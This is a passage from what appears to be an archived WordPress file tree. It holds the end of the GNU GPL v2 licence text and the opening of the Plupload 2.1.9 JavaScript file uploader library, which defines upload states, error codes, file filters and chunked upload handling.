be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/plupload.js�����������������������������������������������������������������������������0000644�����������������00000165632�14717703502�0011201 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Plupload - multi-runtime File Uploader * v2.1.9 * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing * * Date: 2016-05-15 */ /** * Plupload.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** * Modified for WordPress, Silverlight and Flash runtimes support was removed. * See https://core.trac.wordpress.org/ticket/41755. */ /*global mOxie:true */ ;(function(window, o, undef) { var delay = window.setTimeout , fileFilters = {} ; // convert plupload features to caps acceptable by mOxie function normalizeCaps(settings) { var features = settings.required_features, caps = {}; function resolve(feature, value, strict) { // Feature notation is deprecated, use caps (this thing here is required for backward compatibility) var map = { chunks: 'slice_blob', jpgresize: 'send_binary_string', pngresize: 'send_binary_string', progress: 'report_upload_progress', multi_selection: 'select_multiple', dragdrop: 'drag_and_drop', drop_element: 'drag_and_drop', headers: 'send_custom_headers', urlstream_upload: 'send_binary_string', canSendBinary: 'send_binary', triggerDialog: 'summon_file_dialog' }; if (map[feature]) { caps[map[feature]] = value; } else if (!strict) { caps[feature] = value; } } if (typeof(features) === 'string') { plupload.each(features.split(/\s*,\s*/), function(feature) { resolve(feature, true); }); } else if (typeof(features) === 'object') { plupload.each(features, function(value, feature) { resolve(feature, value); }); } else if (features === true) { // check settings for required features if (settings.chunk_size > 0) { caps.slice_blob = true; } if (settings.resize.enabled || !settings.multipart) { caps.send_binary_string = true; } plupload.each(settings, function(value, feature) { resolve(feature, !!value, true); // strict check }); } // WP: only html runtimes. settings.runtimes = 'html5,html4'; return caps; } /** * @module plupload * @static */ var plupload = { /** * Plupload version will be replaced on build. * * @property VERSION * @for Plupload * @static * @final */ VERSION : '2.1.9', /** * The state of the queue before it has started and after it has finished * * @property STOPPED * @static * @final */ STOPPED : 1, /** * Upload process is running * * @property STARTED * @static * @final */ STARTED : 2, /** * File is queued for upload * * @property QUEUED * @static * @final */ QUEUED : 1, /** * File is being uploaded * * @property UPLOADING * @static * @final */ UPLOADING : 2, /** * File has failed to be uploaded * * @property FAILED * @static * @final */ FAILED : 4, /** * File has been uploaded successfully * * @property DONE * @static * @final */ DONE : 5, // Error constants used by the Error event /** * Generic error for example if an exception is thrown inside Silverlight. * * @property GENERIC_ERROR * @static * @final */ GENERIC_ERROR : -100, /** * HTTP transport error. For example if the server produces a HTTP status other than 200. * * @property HTTP_ERROR * @static * @final */ HTTP_ERROR : -200, /** * Generic I/O error. For example if it wasn't possible to open the file stream on local machine. * * @property IO_ERROR * @static * @final */ IO_ERROR : -300, /** * @property SECURITY_ERROR * @static * @final */ SECURITY_ERROR : -400, /** * Initialization error. Will be triggered if no runtime was initialized. * * @property INIT_ERROR * @static * @final */ INIT_ERROR : -500, /** * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered. * * @property FILE_SIZE_ERROR * @static * @final */ FILE_SIZE_ERROR : -600, /** * File extension error. If the user selects a file that isn't valid according to the filters setting. * * @property FILE_EXTENSION_ERROR * @static * @final */ FILE_EXTENSION_ERROR : -601, /** * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again. * * @property FILE_DUPLICATE_ERROR * @static * @final */ FILE_DUPLICATE_ERROR : -602, /** * Runtime will try to detect if image is proper one. Otherwise will throw this error. * * @property IMAGE_FORMAT_ERROR * @static * @final */ IMAGE_FORMAT_ERROR : -700, /** * While working on files runtime may run out of memory and will throw this error. * * @since 2.1.2 * @property MEMORY_ERROR * @static * @final */ MEMORY_ERROR : -701, /** * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error. * * @property IMAGE_DIMENSIONS_ERROR * @static * @final */ IMAGE_DIMENSIONS_ERROR : -702, /** * Mime type lookup table. * * @property mimeTypes * @type Object * @final */ mimeTypes : o.mimes, /** * In some cases sniffing is the only way around :( */ ua: o.ua, /** * Gets the true type of the built-in object (better version of typeof). * @credits Angus Croll (http://javascriptweblog.wordpress.com/) * * @method typeOf * @static * @param {Object} o Object to check. * @return {String} Object [[Class]] */ typeOf: o.typeOf, /** * Extends the specified object with another object. * * @method extend * @static * @param {Object} target Object to extend. * @param {Object..} obj Multiple objects to extend with. * @return {Object} Same as target, the extended object. */ extend : o.extend, /** * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers. * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique. * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property * to an user unique key. * * @method guid * @static * @return {String} Virtually unique id. */ guid : o.guid, /** * Get array of DOM Elements by their ids. * * @method get * @param {String} id Identifier of the DOM Element * @return {Array} */ getAll : function get(ids) { var els = [], el; if (plupload.typeOf(ids) !== 'array') { ids = [ids]; } var i = ids.length; while (i--) { el = plupload.get(ids[i]); if (el) { els.push(el); } } return els.length ? els : null; }, /** Get DOM element by id @method get @param {String} id Identifier of the DOM Element @return {Node} */ get: o.get, /** * Executes the callback function for each item in array/object. If you return false in the * callback it will break the loop. * * @method each * @static * @param {Object} obj Object to iterate. * @param {function} callback Callback function to execute for each item. */ each : o.each, /** * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields. * * @method getPos * @static * @param {Element} node HTML element or element id to get x, y position from. * @param {Element} root Optional root element to stop calculations at. * @return {object} Absolute position of the specified element object with x, y fields. */ getPos : o.getPos, /** * Returns the size of the specified node in pixels. * * @method getSize * @static * @param {Node} node Node to get the size of. * @return {Object} Object with a w and h property. */ getSize : o.getSize, /** * Encodes the specified string. * * @method xmlEncode * @static * @param {String} s String to encode. * @return {String} Encoded string. */ xmlEncode : function(str) { var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g; return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) { return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr; }) : str; }, /** * Forces anything into an array. * * @method toArray * @static * @param {Object} obj Object with length field. * @return {Array} Array object containing all items. */ toArray : o.toArray, /** * Find an element in array and return its index if present, otherwise return -1. * * @method inArray * @static * @param {mixed} needle Element to find * @param {Array} array * @return {Int} Index of the element, or -1 if not found */ inArray : o.inArray, /** * Extends the language pack object with new items. * * @method addI18n * @static * @param {Object} pack Language pack items to add. * @return {Object} Extended language pack object. */ addI18n : o.addI18n, /** * Translates the specified string by checking for the english string in the language pack lookup. * * @method translate * @static * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ translate : o.translate, /** * Checks if object is empty. * * @method isEmptyObj * @static * @param {Object} obj Object to check. * @return {Boolean} */ isEmptyObj : o.isEmptyObj, /** * Checks if specified DOM element has specified class. * * @method hasClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ hasClass : o.hasClass, /** * Adds specified className to specified DOM element. * * @method addClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ addClass : o.addClass, /** * Removes specified className from specified DOM element. * * @method removeClass * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Class name */ removeClass : o.removeClass, /** * Returns a given computed style of a DOM element. * * @method getStyle * @static * @param {Object} obj DOM element like object. * @param {String} name Style you want to get from the DOM element */ getStyle : o.getStyle, /** * Adds an event handler to the specified object and store reference to the handler * in objects internal Plupload registry (@see removeEvent). * * @method addEvent * @static * @param {Object} obj DOM element like object to add handler to. * @param {String} name Name to add event listener to. * @param {Function} callback Function to call when event occurs. * @param {String} (optional) key that might be used to add specifity to the event record. */ addEvent : o.addEvent, /** * Remove event handler from the specified object. If third argument (callback) * is not specified remove all events with the specified name. * * @method removeEvent * @static * @param {Object} obj DOM element to remove event listener(s) from. * @param {String} name Name of event listener to remove. * @param {Function|String} (optional) might be a callback or unique key to match. */ removeEvent: o.removeEvent, /** * Remove all kind of events from the specified object * * @method removeAllEvents * @static * @param {Object} obj DOM element to remove event listeners from. * @param {String} (optional) unique key to match, when removing events. */ removeAllEvents: o.removeAllEvents, /** * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _. * * @method cleanName * @static * @param {String} s String to clean up. * @return {String} Cleaned string. */ cleanName : function(name) { var i, lookup; // Replace diacritics lookup = [ /[\300-\306]/g, 'A', /[\340-\346]/g, 'a', /\307/g, 'C', /\347/g, 'c', /[\310-\313]/g, 'E', /[\350-\353]/g, 'e', /[\314-\317]/g, 'I', /[\354-\357]/g, 'i', /\321/g, 'N', /\361/g, 'n', /[\322-\330]/g, 'O', /[\362-\370]/g, 'o', /[\331-\334]/g, 'U', /[\371-\374]/g, 'u' ]; for (i = 0; i < lookup.length; i += 2) { name = name.replace(lookup[i], lookup[i + 1]); } // Replace whitespace name = name.replace(/\s+/g, '_'); // Remove anything else name = name.replace(/[^a-z0-9_\-\.]+/gi, ''); return name; }, /** * Builds a full url out of a base URL and an object with items to append as query string items. * * @method buildUrl * @static * @param {String} url Base URL to append query string items to. * @param {Object} items Name/value object to serialize as a querystring. * @return {String} String with url + serialized query string items. */ buildUrl : function(url, items) { var query = ''; plupload.each(items, function(value, name) { query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value); }); if (query) { url += (url.indexOf('?') > 0 ? '&' : '?') + query; } return url; }, /** * Formats the specified number as a size string for example 1024 becomes 1 KB. * * @method formatSize * @static * @param {Number} size Size to format as string. * @return {String} Formatted size string. */ formatSize : function(size) { if (size === undef || /\D/.test(size)) { return plupload.translate('N/A'); } function round(num, precision) { return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision); } var boundary = Math.pow(1024, 4); // TB if (size > boundary) { return round(size / boundary, 1) + " " + plupload.translate('tb'); } // GB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('gb'); } // MB if (size > (boundary/=1024)) { return round(size / boundary, 1) + " " + plupload.translate('mb'); } // KB if (size > 1024) { return Math.round(size / 1024) + " " + plupload.translate('kb'); } return size + " " + plupload.translate('b'); }, /** * Parses the specified size string into a byte value. For example 10kb becomes 10240. * * @method parseSize * @static * @param {String|Number} size String to parse or number to just pass through. * @return {Number} Size in bytes. */ parseSize : o.parseSizeStr, /** * A way to predict what runtime will be choosen in the current environment with the * specified settings. * * @method predictRuntime * @static * @param {Object|String} config Plupload settings to check * @param {String} [runtimes] Comma-separated list of runtimes to check against * @return {String} Type of compatible runtime */ predictRuntime : function(config, runtimes) { var up, runtime; up = new plupload.Uploader(config); runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes); up.destroy(); return runtime; }, /** * Registers a filter that will be executed for each file added to the queue. * If callback returns false, file will not be added. * * Callback receives two arguments: a value for the filter as it was specified in settings.filters * and a file to be filtered. Callback is executed in the context of uploader instance. * * @method addFileFilter * @static * @param {String} name Name of the filter by which it can be referenced in settings.filters * @param {String} cb Callback - the actual routine that every added file must pass */ addFileFilter: function(name, cb) { fileFilters[name] = cb; } }; plupload.addFileFilter('mime_types', function(filters, file, cb) { if (filters.length && !filters.regexp.test(file.name)) { this.trigger('Error', { code : plupload.FILE_EXTENSION_ERROR, message : plupload.translate('File extension error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('max_file_size', function(maxSize, file, cb) { var undef; maxSize = plupload.parseSize(maxSize); // Invalid file size if (file.size !== undef && maxSize && file.size > maxSize) { this.trigger('Error', { code : plupload.FILE_SIZE_ERROR, message : plupload.translate('File size error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('prevent_duplicates', function(value, file, cb) { if (value) { var ii = this.files.length; while (ii--) { // Compare by name and size (size might be 0 or undefined, but still equivalent for both) if (file.name === this.files[ii].name && file.size === this.files[ii].size) { this.trigger('Error', { code : plupload.FILE_DUPLICATE_ERROR, message : plupload.translate('Duplicate file error.'), file : file }); cb(false); return; } } } cb(true); }); /** @class Uploader @constructor @param {Object} settings For detailed information about each option check documentation. @param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger. @param {String} settings.url URL of the server-side upload handler. @param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled. @param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes. @param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element. @param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop. @param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message. @param {Object} [settings.filters={}] Set of file type filters. @param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR` @param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`. @param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`. @param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress) @param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs. @param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event. @param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message. @param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload. @param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog. @param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess. @param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}` @param {Number} [settings.resize.width] If image is bigger, it will be resized. @param {Number} [settings.resize.height] If image is bigger, it will be resized. @param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100). @param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally. @param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails. @param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress) @param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files. @param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways). */ plupload.Uploader = function(options) { /** Fires when the current RunTime has been initialized. @event Init @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after the init event incase you need to perform actions there. @event PostInit @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the option is changed in via uploader.setOption(). @event OptionChanged @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {String} name Name of the option that was changed @param {Mixed} value New value for the specified option @param {Mixed} oldValue Previous value of the option */ /** Fires when the silverlight/flash or other shim needs to move. @event Refresh @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the overall state is being changed for the upload queue. @event StateChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when browse_button is clicked and browse dialog shows. @event Browse @since 2.1.2 @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires for every filtered file before it is added to the queue. @event FileFiltered @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file Another file that has to be added to the queue. */ /** Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance. @event QueueChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after files were filtered and added to the queue. @event FilesAdded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that were added to queue by the user. */ /** Fires when file is removed from the queue. @event FilesRemoved @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of files that got removed. */ /** Fires just before a file is uploaded. Can be used to cancel the upload for the specified file by returning false from the handler. @event BeforeUpload @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires when a file is to be uploaded by the runtime. @event UploadFile @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires while a file is being uploaded. Use this event to update the current file upload progress. @event UploadProgress @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that is currently being uploaded. */ /** Fires when file chunk is uploaded. @event ChunkUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that the chunk was uploaded for. @param {Object} result Object with response properties. @param {Number} result.offset The amount of bytes the server has received so far, including this chunk. @param {Number} result.total The size of the file. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when a file is successfully uploaded. @event FileUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that was uploaded. @param {Object} result Object with response properties. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when all files in a queue are uploaded. @event UploadComplete @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that was added to queue/selected by the user. */ /** Fires when a error occurs. @event Error @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Object} error Contains code, message and sometimes file and other details. @param {Number} error.code The plupload error code. @param {String} error.message Description of the error (uses i18n). */ /** Fires when destroy method is called. @event Destroy @param {plupload.Uploader} uploader Uploader instance sending the event. */ var uid = plupload.guid() , settings , files = [] , preferred_caps = {} , fileInputs = [] , fileDrops = [] , startTime , total , disabled = false , xhr ; // Private methods function uploadNext() { var file, count = 0, i; if (this.state == plupload.STARTED) { // Find first QUEUED file for (i = 0; i < files.length; i++) { if (!file && files[i].status == plupload.QUEUED) { file = files[i]; if (this.trigger("BeforeUpload", file)) { file.status = plupload.UPLOADING; this.trigger("UploadFile", file); } } else { count++; } } // All files are DONE or FAILED if (count == files.length) { if (this.state !== plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger("StateChanged"); } this.trigger("UploadComplete", files); } } } function calcFile(file) { file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100; calc(); } function calc() { var i, file; // Reset stats total.reset(); // Check status, size, loaded etc on all files for (i = 0; i < files.length; i++) { file = files[i]; if (file.size !== undef) { // We calculate totals based on original file size total.size += file.origSize; // Since we cannot predict file size after resize, we do opposite and // interpolate loaded amount to match magnitude of total total.loaded += file.loaded * file.origSize / file.size; } else { total.size = undef; } if (file.status == plupload.DONE) { total.uploaded++; } else if (file.status == plupload.FAILED) { total.failed++; } else { total.queued++; } } // If we couldn't calculate a total file size then use the number of files to calc percent if (total.size === undef) { total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0; } else { total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0)); total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0; } } function getRUID() { var ctrl = fileInputs[0] || fileDrops[0]; if (ctrl) { return ctrl.getRuntime().uid; } return false; } function runtimeCan(file, cap) { if (file.ruid) { var info = o.Runtime.getInfo(file.ruid); if (info) { return info.can(cap); } } return false; } function bindEventListeners() { this.bind('FilesAdded FilesRemoved', function(up) { up.trigger('QueueChanged'); up.refresh(); }); this.bind('CancelUpload', onCancelUpload); this.bind('BeforeUpload', onBeforeUpload); this.bind('UploadFile', onUploadFile); this.bind('UploadProgress', onUploadProgress); this.bind('StateChanged', onStateChanged); this.bind('QueueChanged', calc); this.bind('Error', onError); this.bind('FileUploaded', onFileUploaded); this.bind('Destroy', onDestroy); } function initControls(settings, cb) { var self = this, inited = 0, queue = []; // common settings var options = { runtime_order: settings.runtimes, required_caps: settings.required_features, preferred_caps: preferred_caps }; // add runtime specific options if any plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) { if (settings[runtime]) { options[runtime] = settings[runtime]; } }); // initialize file pickers - there can be many if (settings.browse_button) { plupload.each(settings.browse_button, function(el) { queue.push(function(cb) { var fileInput = new o.FileInput(plupload.extend({}, options, { accept: settings.filters.mime_types, name: settings.file_data_name, multiple: settings.multi_selection, container: settings.container, browse_button: el })); fileInput.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), multi_selection: info.can('select_multiple') }); inited++; fileInputs.push(this); cb(); }; fileInput.onchange = function() { self.addFile(this.files); }; fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) { if (!disabled) { if (settings.browse_button_hover) { if ('mouseenter' === e.type) { o.addClass(el, settings.browse_button_hover); } else if ('mouseleave' === e.type) { o.removeClass(el, settings.browse_button_hover); } } if (settings.browse_button_active) { if ('mousedown' === e.type) { o.addClass(el, settings.browse_button_active); } else if ('mouseup' === e.type) { o.removeClass(el, settings.browse_button_active); } } } }); fileInput.bind('mousedown', function() { self.trigger('Browse'); }); fileInput.bind('error runtimeerror', function() { fileInput = null; cb(); }); fileInput.init(); }); }); } // initialize drop zones if (settings.drop_element) { plupload.each(settings.drop_element, function(el) { queue.push(function(cb) { var fileDrop = new o.FileDrop(plupload.extend({}, options, { drop_zone: el })); fileDrop.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), dragdrop: info.can('drag_and_drop') }); inited++; fileDrops.push(this); cb(); }; fileDrop.ondrop = function() { self.addFile(this.files); }; fileDrop.bind('error runtimeerror', function() { fileDrop = null; cb(); }); fileDrop.init(); }); }); } o.inSeries(queue, function() { if (typeof(cb) === 'function') { cb(inited); } }); } function resizeImage(blob, params, cb) { var img = new o.Image(); try { img.onload = function() { // no manipulation required if... if (params.width > this.width && params.height > this.height && params.quality === undef && params.preserve_headers && !params.crop ) { this.destroy(); return cb(blob); } // otherwise downsize img.downsize(params.width, params.height, params.crop, params.preserve_headers); }; img.onresize = function() { cb(this.getAsBlob(blob.type, params.quality)); this.destroy(); }; img.onerror = function() { cb(blob); }; img.load(blob); } catch(ex) { cb(blob); } } function setOption(option, value, init) { var self = this, reinitRequired = false; function _setOption(option, value, init) { var oldValue = settings[option]; switch (option) { case 'max_file_size': if (option === 'max_file_size') { settings.max_file_size = settings.filters.max_file_size = value; } break; case 'chunk_size': if (value = plupload.parseSize(value)) { settings[option] = value; settings.send_file_name = true; } break; case 'multipart': settings[option] = value; if (!value) { settings.send_file_name = true; } break; case 'unique_names': settings[option] = value; if (value) { settings.send_file_name = true; } break; case 'filters': // for sake of backward compatibility if (plupload.typeOf(value) === 'array') { value = { mime_types: value }; } if (init) { plupload.extend(settings.filters, value); } else { settings.filters = value; } // if file format filters are being updated, regenerate the matching expressions if (value.mime_types) { settings.filters.mime_types.regexp = (function(filters) { var extensionsRegExp = []; plupload.each(filters, function(filter) { plupload.each(filter.extensions.split(/,/), function(ext) { if (/^\s*\*\s*$/.test(ext)) { extensionsRegExp.push('\\.*'); } else { extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&')); } }); }); return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i'); }(settings.filters.mime_types)); } break; case 'resize': if (init) { plupload.extend(settings.resize, value, { enabled: true }); } else { settings.resize = value; } break; case 'prevent_duplicates': settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value; break; // options that require reinitialisation case 'container': case 'browse_button': case 'drop_element': value = 'container' === option ? plupload.get(value) : plupload.getAll(value) ; case 'runtimes': case 'multi_selection': settings[option] = value; if (!init) { reinitRequired = true; } break; default: settings[option] = value; } if (!init) { self.trigger('OptionChanged', option, value, oldValue); } } if (typeof(option) === 'object') { plupload.each(option, function(value, option) { _setOption(option, value, init); }); } else { _setOption(option, value, init); } if (init) { // Normalize the list of required capabilities settings.required_features = normalizeCaps(plupload.extend({}, settings)); // Come up with the list of capabilities that can affect default mode in a multi-mode runtimes preferred_caps = normalizeCaps(plupload.extend({}, settings, { required_features: true })); } else if (reinitRequired) { self.trigger('Destroy'); initControls.call(self, settings, function(inited) { if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); } } // Internal event handlers function onBeforeUpload(up, file) { // Generate unique target filenames if (up.settings.unique_names) { var matches = file.name.match(/\.([^.]+)$/), ext = "part"; if (matches) { ext = matches[1]; } file.target_name = file.id + '.' + ext; } } function onUploadFile(up, file) { var url = up.settings.url , chunkSize = up.settings.chunk_size , retries = up.settings.max_retries , features = up.features , offset = 0 , blob ; // make sure we start at a predictable offset if (file.loaded) { offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0; } function handleError() { if (retries-- > 0) { delay(uploadNextChunk, 1000); } else { file.loaded = offset; // reset all progress up.trigger('Error', { code : plupload.HTTP_ERROR, message : plupload.translate('HTTP Error.'), file : file, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } } function uploadNextChunk() { var chunkBlob, formData, args = {}, curChunkSize; // make sure that file wasn't cancelled and upload is not stopped in general if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) { return; } // send additional 'name' parameter only if required if (up.settings.send_file_name) { args.name = file.target_name || file.name; } if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory curChunkSize = Math.min(chunkSize, blob.size - offset); chunkBlob = blob.slice(offset, offset + curChunkSize); } else { curChunkSize = blob.size; chunkBlob = blob; } // If chunking is enabled add corresponding args, no 